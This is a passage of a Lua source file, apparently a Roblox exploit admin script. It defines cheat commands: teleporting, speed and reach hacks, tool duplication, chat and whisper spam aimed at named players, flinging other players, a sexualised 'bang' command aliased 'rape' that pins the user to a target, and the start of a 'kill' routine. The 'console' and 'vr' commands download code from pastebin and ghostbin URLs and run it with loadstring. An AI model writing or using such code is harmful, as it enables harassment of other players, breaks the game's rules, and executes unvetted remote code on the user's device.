  7413. local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
  7414. local char = speaker.Character
  7415. if char and char:FindFirstChild("HumanoidRootPart") then
  7416. char.HumanoidRootPart.CFrame = CFrame.new(tpX,tpY,tpZ)
  7417. end
  7418. end)
  7419.  
  7420. addcmd('offset',{},
  7421. function(args, speaker)
  7422. if #args < 3 then return end
  7423. local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
  7424. local char = speaker.Character
  7425. if char and char:FindFirstChild("HumanoidRootPart") then
  7426. char.HumanoidRootPart.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(tpX,tpY,tpZ)
  7427. end
  7428. end)
  7429.  
  7430. addcmd('clickteleport',{},
  7431. function(args, speaker)
  7432. if speaker == Players.LocalPlayer then
  7433. notify('Click TP','Go to Settings>Keybinds>Add to set up click tp')
  7434. end
  7435. end)
  7436.  
  7437. addcmd('clickdelete',{},
  7438. function(args, speaker)
  7439. if speaker == Players.LocalPlayer then
  7440. notify('Click Delete','Go to Settings>Keybinds>Add to set up click delete')
  7441. end
  7442. end)
  7443.  
  7444. addcmd('getposition',{'getpos','notifypos','notifyposition'},
  7445. function(args, speaker)
  7446. local char = speaker.Character
  7447. if char and char:FindFirstChild("HumanoidRootPart") then
  7448. local pos = tostring(char.HumanoidRootPart.Position)
  7449. notify('Current Position',pos)
  7450. end
  7451. end)
  7452.  
  7453. addcmd('copyposition',{'copypos'},
  7454. function(args, speaker)
  7455. local char = speaker.Character
  7456. if char and char:FindFirstChild("HumanoidRootPart") then
  7457. local pos = tostring(char.HumanoidRootPart.Position)
  7458. toClipboard(pos)
  7459. end
  7460. end)
  7461.  
  7462. addcmd('speed',{'ws'},
  7463. function(args, speaker)
  7464. if args[2] then
  7465. speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[2])
  7466. else
  7467. speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[1])
  7468. end
  7469. end)
  7470.  
  7471. addcmd('tools',{'gears'},
  7472. function(args, speaker)
  7473. local function copy(instance)
  7474. for i,c in pairs(instance:GetChildren())do
  7475. if c:IsA('Tool') or c:IsA('HopperBin') then
  7476. c:Clone().Parent = speaker.Backpack
  7477. end
  7478. copy(c)
  7479. end
  7480. end
  7481. copy(game:GetService("Lighting"))
  7482. local function copy(instance)
  7483. for i,c in pairs(instance:GetChildren())do
  7484. if c:IsA('Tool') or c:IsA('HopperBin') then
  7485. c:Clone().Parent = speaker.Backpack
  7486. end
  7487. copy(c)
  7488. end
  7489. end
  7490. copy(game:GetService("ReplicatedStorage"))
  7491. notify('Tools','Copied tools from ReplicatedStorage and Lighting')
  7492. end)
  7493.  
  7494. addcmd('notools',{'rtools','clrtools','removetools','deletetools','dtools'},
  7495. function(args, speaker)
  7496. for i,v in pairs(speaker.Backpack:GetDescendants()) do
  7497. if v:IsA('Tool') or v:IsA('HopperBin') then
  7498. v:destroy()
  7499. end
  7500. end
  7501. for i,v in pairs(speaker.Character:GetDescendants()) do
  7502. if v:IsA('Tool') or v:IsA('HopperBin') then
  7503. v:destroy()
  7504. end
  7505. end
  7506. end)
  7507.  
  7508. addcmd('console',{},
  7509. function(args, speaker)
  7510. -- Thanks wally!!
  7511. notify("Loading",'Hold on a second')
  7512. local _, str = pcall(function()
  7513. return game:HttpGet("https://pastebin.com/raw/i35eCznS", true)
  7514. end)
  7515.  
  7516. local s, e = loadstring(str)
  7517. if typeof(s) ~= "function" then
  7518. return
  7519. end
  7520.  
  7521. local success, message = pcall(s)
  7522. if (not success) then
  7523. if printconsole then
  7524. printconsole(message)
  7525. elseif printoutput then
  7526. printoutput(message)
  7527. end
  7528. end
  7529. wait(1)
  7530. notify('Console','Press F9 to open the console')
  7531. end)
  7532.  
  7533. addcmd('explorer',{'dex'},
  7534. function(args, speaker)
  7535. if PARENT:FindFirstChild'Dex' then
  7536. PARENT.Dex:Destroy();
  7537. end
  7538.  
  7539. local Dex = game:GetObjects("rbxassetid://3567096419")[1]
  7540. Dex.Name = 'Dex'
  7541. Dex.Parent = PARENT
  7542.  
  7543. local function Load(Obj, Url)
  7544. local function GiveOwnGlobals(Func, Script)
  7545. local Fenv = {}
  7546. local RealFenv = {script = Script}
  7547. local FenvMt = {}
  7548. FenvMt.__index = function(a,b)
  7549. if RealFenv[b] == nil then
  7550. return getfenv()[b]
  7551. else
  7552. return RealFenv[b]
  7553. end
  7554. end
  7555. FenvMt.__newindex = function(a, b, c)
  7556. if RealFenv[b] == nil then
  7557. getfenv()[b] = c
  7558. else
  7559. RealFenv[b] = c
  7560. end
  7561. end
  7562. setmetatable(Fenv, FenvMt)
  7563. setfenv(Func, Fenv)
  7564. return Func
  7565. end
  7566.  
  7567. local function LoadScripts(Script)
  7568. if Script.ClassName == "Script" or Script.ClassName == "LocalScript" then
  7569. spawn(function()
  7570. GiveOwnGlobals(loadstring(Script.Source, "=" .. Script:GetFullName()), Script)()
  7571. end)
  7572. end
  7573. for i,v in pairs(Script:GetChildren()) do
  7574. LoadScripts(v)
  7575. end
  7576. end
  7577.  
  7578. LoadScripts(Obj)
  7579. end
  7580.  
  7581. Load(Dex)
  7582. end)
  7583.  
  7584. loopgoto = nil
  7585. addcmd('loopgoto',{},
  7586. function(args, speaker)
  7587. local players = getPlayer(args[1], speaker)
  7588. for i,v in pairs(players)do
  7589. loopgoto = nil
  7590. wait()
  7591. loopgoto = Players[v]
  7592. local distance = 3
  7593. if args[2] and isNumber(args[2]) then
  7594. distance = args[2]
  7595. end
  7596. local lDelay = 0
  7597. if args[3] and isNumber(args[3]) then
  7598. lDelay = args[3]
  7599. end
  7600. speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
  7601. repeat
  7602. if Players[v].Character ~= nil then
  7603. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
  7604. end
  7605. wait(lDelay)
  7606. until loopgoto ~= Players[v]
  7607. end
  7608. end)
  7609.  
  7610. addcmd('unloopgoto',{'noloopgoto'},
  7611. function(args, speaker)
  7612. loopgoto = nil
  7613. end)
  7614.  
  7615. addcmd('headsit',{},
  7616. function(args, speaker)
  7617. local players = getPlayer(args[1], speaker)
  7618. for i,v in pairs(players)do
  7619. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = true
  7620. headSit = game:GetService("RunService").RenderStepped:Connect(function()
  7621. if Players[v].Character ~= nil and Players[v].Character:FindFirstChild('HumanoidRootPart') and speaker.Character:FindFirstChild('HumanoidRootPart') then
  7622. if Players:FindFirstChild(Players[v].Name) and speaker.Character:FindFirstChildOfClass('Humanoid').Sit == true then
  7623. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4)
  7624. else
  7625. headSit:Disconnect()
  7626. end
  7627. end
  7628. end)
  7629. end
  7630. end)
  7631.  
  7632. addcmd('chat',{},
  7633. function(args, speaker)
  7634. local cString = getstring(1)
  7635. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(cString, "All")
  7636. end)
  7637.  
  7638. spamming = false
  7639. spamspeed = 1
  7640. addcmd('spam',{},
  7641. function(args, speaker)
  7642. spamming = true
  7643. local spamstring = getstring(1)
  7644. repeat wait(spamspeed)
  7645. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(spamstring, "All")
  7646. until spamming == false
  7647. end)
  7648.  
  7649. addcmd('nospam',{'unspam'},
  7650. function(args, speaker)
  7651. spamming = false
  7652. end)
  7653.  
  7654. pmspamming = {}
  7655. addcmd('pmspam',{},
  7656. function(args, speaker)
  7657. local players = getPlayer(args[1], speaker)
  7658. for i,v in pairs(players)do
  7659. spawn(function()
  7660. if FindInTable(pmspamming, Players[v].Name) then return end
  7661. table.insert(pmspamming, Players[v].Name)
  7662. local pmspamstring = getstring(2)
  7663. repeat wait(spamspeed)
  7664. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..Players[v].Name.." "..pmspamstring, "All")
  7665. until not FindInTable(pmspamming, Players[v].Name)
  7666. end)
  7667. end
  7668. end)
  7669.  
  7670. addcmd('nopmspam',{'unpmspam'},
  7671. function(args, speaker)
  7672. local players = getPlayer(args[1], speaker)
  7673. for i,v in pairs(players)do
  7674. spawn(function()
  7675. for a,b in pairs(pmspamming) do
  7676. if b == Players[v].Name then
  7677. table.remove(pmspamming, a)
  7678. end
  7679. end
  7680. end)
  7681. end
  7682. end)
  7683.  
  7684. addcmd('spamspeed',{},
  7685. function(args, speaker)
  7686. spamspeed = args[1]
  7687. end)
  7688.  
  7689. addcmd('blockhead',{},
  7690. function(args, speaker)
  7691. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7692. end)
  7693.  
  7694. addcmd('blockhats',{},
  7695. function(args, speaker)
  7696. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7697. if v:FindFirstChild('Handle') and v.Handle:FindFirstChildOfClass('SpecialMesh') then
  7698. v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7699. end
  7700. end
  7701. end)
  7702.  
  7703. addcmd('blocktool',{},
  7704. function(args, speaker)
  7705. for i,v in pairs(speaker.Character:GetChildren()) do
  7706. if v:IsA("Tool") or v:IsA("HopperBin") and v:FindFirstChild("Handle") then
  7707. if v.Handle:FindFirstChildOfClass('SpecialMesh') then
  7708. v.Handle:FindFirstChildOfClass('SpecialMesh'):Destroy()
  7709. end
  7710. end
  7711. end
  7712. end)
  7713.  
  7714. addcmd('creeper',{},
  7715. function(args, speaker)
  7716. if r15(speaker) then
  7717. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7718. speaker.Character.LeftUpperArm:Destroy()
  7719. speaker.Character.RightUpperArm:Destroy()
  7720. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7721. v:Destroy()
  7722. end
  7723. else
  7724. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7725. speaker.Character["Left Arm"]:Destroy()
  7726. speaker.Character["Right Arm"]:Destroy()
  7727. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7728. v:Destroy()
  7729. end
  7730. end
  7731. end)
  7732.  
  7733. addcmd('bang',{'rape'},
  7734. function(args, speaker)
  7735. if not r15(speaker) then
  7736. execCmd('unbang')
  7737. wait()
  7738. local players = getPlayer(args[1], speaker)
  7739. for i,v in pairs(players)do
  7740. bangAnim = Instance.new("Animation")
  7741. bangAnim.AnimationId = "rbxassetid://148840371"
  7742. bang = speaker.Character.Humanoid:LoadAnimation(bangAnim)
  7743. bang:Play(.1, 1, 1)
  7744. if args[2] then
  7745. bang:AdjustSpeed(args[2])
  7746. else
  7747. bang:AdjustSpeed(3)
  7748. end
  7749. bangplr = Players[v].Name
  7750. bangDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  7751. bangLoop:Disconnect()
  7752. bang:Stop()
  7753. bangAnim:Destroy()
  7754. bangDied:Disconnect()
  7755. end)
  7756. bangLoop = game:GetService('RunService').Stepped:connect(function()
  7757. pcall(function()
  7758. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Players[bangplr].Character.HumanoidRootPart.CFrame
  7759. end)
  7760. end)
  7761. end
  7762. else
  7763. notify('R6 Required','This command requires the r6 rig type')
  7764. end
  7765. end)
  7766.  
  7767. addcmd('unbang',{'unrape'},
  7768. function(args, speaker)
  7769. if bangLoop then
  7770. bangLoop:Disconnect()
  7771. bangDied:Disconnect()
  7772. bang:Stop()
  7773. bangAnim:Destroy()
  7774. end
  7775. end)
  7776.  
  7777. addcmd('bringpart',{},
  7778. function(args, speaker)
  7779. for i,v in pairs(workspace:GetDescendants()) do
  7780. if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7781. v.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7782. end
  7783. end
  7784. end)
  7785.  
  7786. addcmd('gotopart',{},
  7787. function(args, speaker)
  7788. for i,v in pairs(workspace:GetDescendants()) do
  7789. if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7790. speaker.Character.HumanoidRootPart.CFrame = v.CFrame
  7791. wait(0.1)
  7792. end
  7793. end
  7794. end)
  7795.  
  7796. addcmd('bringpartclass',{'bpc'},
  7797. function(args, speaker)
  7798. for i,v in pairs(workspace:GetDescendants()) do
  7799. if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7800. v.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7801. end
  7802. end
  7803. end)
  7804.  
  7805. addcmd('gotopartclass',{'gpc'},
  7806. function(args, speaker)
  7807. for i,v in pairs(workspace:GetDescendants()) do
  7808. if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7809. speaker.Character.HumanoidRootPart.CFrame = v.CFrame
  7810. wait(0.1)
  7811. end
  7812. end
  7813. end)
  7814.  
  7815. addcmd('noclickdetectorlimits',{'nocdlimits','removecdlimits'},
  7816. function(args, speaker)
  7817. for i,v in pairs(workspace:GetDescendants()) do
  7818. if v:IsA("ClickDetector") then
  7819. v.MaxActivationDistance = math.huge
  7820. end
  7821. end
  7822. end)
  7823.  
  7824. addcmd('simulationradius',{'simradius'},
  7825. function(args, speaker)
  7826. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  7827. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  7828. end)
  7829.  
  7830. addcmd('grabtools',{},
  7831. function(args, speaker)
  7832. for i,v in pairs(workspace:GetChildren()) do
  7833. spawn(function()
  7834. if v:IsA("Tool") or v:IsA("HopperBin") then
  7835. if v:FindFirstChild("Handle") then
  7836. repeat
  7837. wait()
  7838. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  7839. v.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7840. end
  7841. until v.Parent == speaker.Character
  7842. end
  7843. end
  7844. end)
  7845. end
  7846. grabtoolsFunc = workspace.ChildAdded:connect(function(part)
  7847. if part:IsA("Tool") or part:IsA("HopperBin") then
  7848. if part:FindFirstChild("Handle") then
  7849. repeat
  7850. wait()
  7851. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  7852. part.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7853. end
  7854. until part.Parent == speaker.Character
  7855. end
  7856. end
  7857. end)
  7858. notify('Grabtools','Picking up any dropped tools')
  7859. end)
  7860.  
  7861. addcmd('nograbtools',{'ungrabtools'},
  7862. function(args, speaker)
  7863. grabtoolsFunc:Disconnect()
  7864. notify('Grabtools','Grabtools has been disabled')
  7865. end)
  7866.  
  7867. addcmd('light',{},
  7868. function(args, speaker)
  7869. local light = Instance.new("PointLight", speaker.Character.HumanoidRootPart)
  7870. light.Range = 30
  7871. if args[1] then
  7872. light.Brightness = args[1]
  7873. else
  7874. light.Brightness = 5
  7875. end
  7876. end)
  7877.  
  7878. addcmd('unlight',{'nolight'},
  7879. function(args, speaker)
  7880. for i,v in pairs(speaker.Character:GetDescendants()) do
  7881. if v.ClassName == "PointLight" then
  7882. v:Destroy()
  7883. end
  7884. end
  7885. end)
  7886.  
  7887. addcmd('copytools',{},
  7888. function(args, speaker)
  7889. local players = getPlayer(args[1], speaker)
  7890. for i,v in pairs(players)do
  7891. spawn(function()
  7892. for i,v in pairs(Players[v].Backpack:GetChildren()) do
  7893. if v:IsA('Tool') or v:IsA('HopperBin') then
  7894. v:Clone().Parent = speaker.Backpack
  7895. end
  7896. end
  7897. end)
  7898. end
  7899. end)
  7900.  
  7901. addcmd('naked',{},
  7902. function(args, speaker)
  7903. for i,v in pairs(speaker.Character:GetDescendants()) do
  7904. if v:IsA("Clothing") or v:IsA("ShirtGraphic") then
  7905. v:Destroy()
  7906. end
  7907. end
  7908. end)
  7909.  
  7910. addcmd('noface',{'removeface'},
  7911. function(args, speaker)
  7912. for i,v in pairs(speaker.Character:GetDescendants()) do
  7913. if v:IsA("Decal") and v.Name == 'face' then
  7914. v:Destroy()
  7915. end
  7916. end
  7917. end)
  7918.  
  7919. addcmd('spawnpoint',{'spawn'},
  7920. function(args, speaker)
  7921. spawnpos = speaker.Character.HumanoidRootPart.CFrame
  7922. spawnpoint = true
  7923. notify('Spawn Point','Spawn point created at '..tostring(spawnpos))
  7924. end)
  7925.  
  7926. addcmd('nospawnpoint',{'nospawn','removespawnpoint'},
  7927. function(args, speaker)
  7928. spawnpoint = false
  7929. notify('Spawn Point','Removed spawn point')
  7930. end)
  7931.  
  7932. addcmd('flashback',{'diedtp'},
  7933. function(args, speaker)
  7934. if lastDeath ~= nil then
  7935. if speaker.Character:FindFirstChild("Humanoid") then
  7936. speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
  7937. end
  7938. speaker.Character.HumanoidRootPart.CFrame = lastDeath
  7939. end
  7940. end)
  7941.  
  7942. addcmd('hatspin',{'spinhats'},
  7943. function(args, speaker)
  7944. execCmd('unhatspin')
  7945. wait(.5)
  7946. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7947. local keep = Instance.new("BodyPosition") keep.Parent = v.Handle keep.Name = "no"
  7948. local spin = Instance.new("BodyAngularVelocity") spin.Parent = v.Handle spin.Name = "ha"
  7949. v.Handle:FindFirstChildOfClass("Weld"):Destroy()
  7950. if args[1] then
  7951. spin.AngularVelocity = Vector3.new(0, args[1], 0)
  7952. spin.MaxTorque = Vector3.new(0, args[1] * 2, 0)
  7953. else
  7954. spin.AngularVelocity = Vector3.new(0, 100, 0)
  7955. spin.MaxTorque = Vector3.new(0, 200, 0)
  7956. end
  7957. keep.P = 30000
  7958. keep.D = 50
  7959. spinhats = game:GetService('RunService').Stepped:connect(function()
  7960. pcall(function()
  7961. keep.Position = Players.LocalPlayer.Character.Head.Position
  7962. end)
  7963. end)
  7964. end
  7965. end)
  7966.  
  7967. addcmd('unhatspin',{'unspinhats'},
  7968. function(args, speaker)
  7969. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7970. if spinhats then
  7971. spinhats:Disconnect()
  7972. end
  7973. v.Parent = workspace
  7974. v.Handle.no:Destroy()
  7975. v.Handle.ha:Destroy()
  7976. wait()
  7977. v.Parent = speaker.Character
  7978. end
  7979. end)
  7980.  
  7981. addcmd('vr',{},
  7982. function(args, speaker)
  7983. -- Full credit to Abacaxl @V3rmillion
  7984. loadstring(game:HttpGet('https://ghostbin.co/paste/yb288/raw'))()
  7985. end)
  7986.  
  7987. addcmd('split',{},
  7988. function(args, speaker)
  7989. if r15(speaker) then
  7990. speaker.Character.UpperTorso.Waist:Destroy()
  7991. else
  7992. notify('R15 Required','This command requires the r15 rig type')
  7993. end
  7994. end)
  7995.  
  7996. addcmd('equiptools',{},
  7997. function(args, speaker)
  7998. for i,v in pairs(speaker.Backpack:GetChildren()) do
  7999. if v:IsA("Tool") or v:IsA("HopperBin") then
  8000. v.Parent = speaker.Character
  8001. end
  8002. end
  8003. end)
  8004.  
  8005. addcmd('dupetools',{'clonetools'},
  8006. function(args, speaker)
  8007. speaker.Character:MoveTo(Vector3.new(999999,999999,999999))
  8008. wait()
  8009. local tools = {}
  8010. for i,v in pairs(speaker.Backpack:GetChildren()) do
  8011. if v:IsA("Tool") or v:IsA("HopperBin") then
  8012. v.Parent = speaker.Character
  8013. end
  8014. end
  8015. for i,v in pairs(speaker.Character:GetChildren()) do
  8016. if v:IsA("Tool") or v:IsA("HopperBin") and v:FindFirstChild("Handle") then
  8017. table.insert(tools,v)
  8018. v.Handle.Anchored = true
  8019. v.Parent = workspace
  8020. end
  8021. end
  8022. respawn(speaker)
  8023. wait(1)
  8024. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8025. wait(0.5)
  8026. for i,v in pairs(tools) do
  8027. spawn(function()
  8028. v.Handle.Anchored = false
  8029. repeat
  8030. wait()
  8031. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  8032. v.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  8033. end
  8034. until v.Parent == speaker.Character
  8035. end)
  8036. end
  8037. end)
  8038.  
  8039. addcmd('fullbright',{'fb','fullbrightness'},
  8040. function(args, speaker)
  8041. game:GetService("Lighting").Brightness = 2
  8042. game:GetService("Lighting").ClockTime = 14
  8043. game:GetService("Lighting").FogEnd = 100000
  8044. game:GetService("Lighting").GlobalShadows = false
  8045. game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(128, 128, 128)
  8046. end)
  8047.  
  8048. addcmd('ambient',{},
  8049. function(args, speaker)
  8050. game:GetService("Lighting").Ambient = Color3.new(args[1],args[2],args[3])
  8051. game:GetService("Lighting").OutdoorAmbient = Color3.new(args[1],args[2],args[3])
  8052. end)
  8053.  
  8054. addcmd('day',{},
  8055. function(args, speaker)
  8056. game:GetService("Lighting").ClockTime = 14
  8057. end)
  8058.  
  8059. addcmd('night',{},
  8060. function(args, speaker)
  8061. game:GetService("Lighting").ClockTime = 0
  8062. end)
  8063.  
  8064. addcmd('nofog',{},
  8065. function(args, speaker)
  8066. game:GetService("Lighting").FogEnd = 100000
  8067. end)
  8068.  
  8069. addcmd('brightness',{},
  8070. function(args, speaker)
  8071. game:GetService("Lighting").Brightness = args[1]
  8072. end)
  8073.  
  8074. addcmd('globalshadows',{'gshadows'},
  8075. function(args, speaker)
  8076. game:GetService("Lighting").GlobalShadows = true
  8077. end)
  8078.  
  8079. addcmd('unglobalshadows',{'nogshadows','ungshadows','noglobalshadows'},
  8080. function(args, speaker)
  8081. game:GetService("Lighting").GlobalShadows = false
  8082. end)
  8083.  
  8084. origsettings = {abt = game:GetService("Lighting").Ambient, oabt = game:GetService("Lighting").OutdoorAmbient, brt = game:GetService("Lighting").Brightness, time = game:GetService("Lighting").ClockTime, fe = game:GetService("Lighting").FogEnd, fs = game:GetService("Lighting").FogStart, gs = game:GetService("Lighting").GlobalShadows}
  8085.  
  8086. addcmd('restorelighting',{'rlighting'},
  8087. function(args, speaker)
  8088. game:GetService("Lighting").Ambient = origsettings.abt
  8089. game:GetService("Lighting").OutdoorAmbient = origsettings.oabt
  8090. game:GetService("Lighting").Brightness = origsettings.brt
  8091. game:GetService("Lighting").ClockTime = origsettings.time
  8092. game:GetService("Lighting").FogEnd = origsettings.fe
  8093. game:GetService("Lighting").FogStart = origsettings.fs
  8094. game:GetService("Lighting").GlobalShadows = origsettings.gs
  8095. end)
  8096.  
  8097. addcmd('stun',{'platformstand'},
  8098. function(args, speaker)
  8099. speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  8100. end)
  8101.  
  8102. addcmd('unstun',{'nostun','unplatformstand','noplatformstand'},
  8103. function(args, speaker)
  8104. speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  8105. end)
  8106.  
  8107. addcmd('drophats',{'drophat'},
  8108. function(args, speaker)
  8109. if speaker.Character then
  8110. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8111. v.Parent = workspace
  8112. end
  8113. end
  8114. end)
  8115.  
  8116. addcmd('deletehats',{'nohats','rhats'},
  8117. function(args, speaker)
  8118. if speaker.Character then
  8119. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8120. v:Destroy()
  8121. end
  8122. end
  8123. end)
  8124.  
  8125. addcmd('droptools',{'droptool'},
  8126. function(args, speaker)
  8127. if speaker.Character then
  8128. for _,obj in pairs(speaker.Character:GetChildren()) do
  8129. if obj:IsA("Tool") then
  8130. obj.Parent = workspace
  8131. end
  8132. end
  8133. end
  8134. if speaker:FindFirstChild("Backpack") then
  8135. for _,obj in pairs(speaker.Backpack:GetChildren()) do
  8136. if obj:IsA("Tool") then
  8137. obj.Parent = workspace
  8138. end
  8139. end
  8140. end
  8141. end)
  8142.  
  8143. addcmd('droppabletools',{},
  8144. function(args, speaker)
  8145. if speaker.Character then
  8146. for _,obj in pairs(speaker.Character:GetChildren()) do
  8147. if obj:IsA("Tool") then
  8148. obj.CanBeDropped = true
  8149. end
  8150. end
  8151. end
  8152. if speaker:FindFirstChild("Backpack") then
  8153. for _,obj in pairs(speaker.Backpack:GetChildren()) do
  8154. if obj:IsA("Tool") then
  8155. obj.CanBeDropped = true
  8156. end
  8157. end
  8158. end
  8159. end)
  8160.  
  8161. currentToolSize = ""
  8162. currentGripPos = ""
  8163. addcmd('reach',{},
  8164. function(args, speaker)
  8165. if args[1] then
  8166. for i,v in pairs(speaker.Character:GetDescendants()) do
  8167. if v:IsA("Tool") then
  8168. if args[1] then
  8169. currentToolSize = v.Handle.Size
  8170. currentGripPos = v.GripPos
  8171. local a = Instance.new("SelectionBox",v.Handle)
  8172. a.Name = "SelectionBoxCreated"
  8173. a.Adornee = v.Handle
  8174. v.Handle.Massless = true
  8175. v.Handle.Size = Vector3.new(0.5,0.5,args[1])
  8176. v.GripPos = Vector3.new(0,0,0)
  8177. speaker.Character.Humanoid:UnequipTools()
  8178. else
  8179. currentToolSize = v.Handle.Size
  8180. currentGripPos = v.GripPos
  8181. local a = Instance.new("SelectionBox",v.Handle)
  8182. a.Name = "SelectionBoxCreated"
  8183. a.Adornee = v.Handle
  8184. v.Handle.Massless = true
  8185. v.Handle.Size = Vector3.new(0.5,0.5,60)
  8186. v.GripPos = Vector3.new(0,0,0)
  8187. speaker.Character.Humanoid:UnequipTools()
  8188. end
  8189. end
  8190. end
  8191. end
  8192. end)
  8193.  
  8194. addcmd('unreach',{'noreach'},
  8195. function(args, speaker)
  8196. for i,v in pairs(speaker.Character:GetDescendants()) do
  8197. if v:IsA("Tool") then
  8198. v.Handle.Size = currentToolSize
  8199. v.GripPos = currentGripPos
  8200. v.Handle.SelectionBoxCreated:Destroy()
  8201. end
  8202. end
  8203. end)
  8204.  
  8205. addcmd('grippos',{},
  8206. function(args, speaker)
  8207. for i,v in pairs(speaker.Character:GetDescendants()) do
  8208. if v:IsA("Tool") then
  8209. v.Parent = speaker.Backpack
  8210. v.GripPos = Vector3.new(args[1],args[2],args[3])
  8211. wait()
  8212. v.Parent = speaker.Character
  8213. end
  8214. end
  8215. end)
  8216.  
  8217. addcmd('logs',{'chatlogs'},
  8218. function(args, speaker)
  8219. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -245), "InOut", "Quart", 0.3, true, nil)
  8220. end)
  8221.  
  8222. flinging = false
  8223. addcmd('fling',{},
  8224. function(args, speaker)
  8225. for _, child in pairs(speaker.Character:GetDescendants()) do
  8226. if child:IsA("BasePart") then
  8227. child.CustomPhysicalProperties = PhysicalProperties.new(2, 0.3, 0.5)
  8228. end
  8229. end
  8230. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8231. for e,c in pairs(v:GetDescendants()) do
  8232. if c:IsA('BasePart') then
  8233. c.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  8234. end
  8235. end
  8236. end
  8237. execCmd('noclip nonotify')
  8238. wait(.1)
  8239. local bambam = Instance.new("BodyAngularVelocity", speaker.Character.HumanoidRootPart)
  8240. bambam.Name = randomString()
  8241. bambam.AngularVelocity = Vector3.new(0,311111,0)
  8242. bambam.MaxTorque = Vector3.new(0,311111,0)
  8243. bambam.P = math.huge
  8244. local function PauseFling()
  8245. if speaker.Character:FindFirstChildOfClass("Humanoid") then
  8246. if speaker.Character:FindFirstChildOfClass("Humanoid").FloorMaterial == Enum.Material.Air then
  8247. bambam.AngularVelocity = Vector3.new(0,0,0)
  8248. else
  8249. bambam.AngularVelocity = Vector3.new(0,311111,0)
  8250. end
  8251. end
  8252. end
  8253. if TouchingFloor then
  8254. TouchingFloor:Disconnect()
  8255. end
  8256. if TouchingFloorReset then
  8257. TouchingFloorReset:Disconnect()
  8258. end
  8259. TouchingFloor = speaker.Character:FindFirstChildOfClass("Humanoid"):GetPropertyChangedSignal("FloorMaterial"):connect(PauseFling)
  8260. flinging = true
  8261. local function flingDied()
  8262. execCmd('unfling')
  8263. end
  8264. TouchingFloorReset = speaker.Character:FindFirstChildOfClass('Humanoid').Died:connect(flingDied)
  8265. end)
  8266.  
  8267. addcmd('unfling',{'nofling'},
  8268. function(args, speaker)
  8269. execCmd('clip nonotify')
  8270. if TouchingFloor then
  8271. TouchingFloor:Disconnect()
  8272. end
  8273. if TouchingFloorReset then
  8274. TouchingFloorReset:Disconnect()
  8275. end
  8276. flinging = false
  8277. wait(.1)
  8278. local speakerChar = speaker.Character
  8279. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  8280. for i,v in pairs(speakerChar.HumanoidRootPart:GetChildren()) do
  8281. if v.ClassName == 'BodyAngularVelocity' then
  8282. v:Destroy()
  8283. end
  8284. end
  8285. for _, child in pairs(speakerChar:GetDescendants()) do
  8286. if child.ClassName == "Part" or child.ClassName == "MeshPart" then
  8287. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  8288. end
  8289. end
  8290. end)
  8291.  
  8292. addcmd('togglefling',{},
  8293. function(args, speaker)
  8294. if flinging then
  8295. execCmd('unfling')
  8296. else
  8297. execCmd('fling')
  8298. end
  8299. end)
  8300.  
  8301. function kill(speaker,target,fast)
  8302. if tools(speaker) then
  8303. if target ~= nil then
  8304. local NormPos = speaker.Character.HumanoidRootPart.CFrame
  8305. if not fast then
  8306. refresh(speaker)
  8307. wait()
  8308. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8309. wait(0.3)
  8310. end
  8311. local char = speaker.Character
  8312. local tchar = target.Character
  8313. local hum = speaker.Character.Humanoid
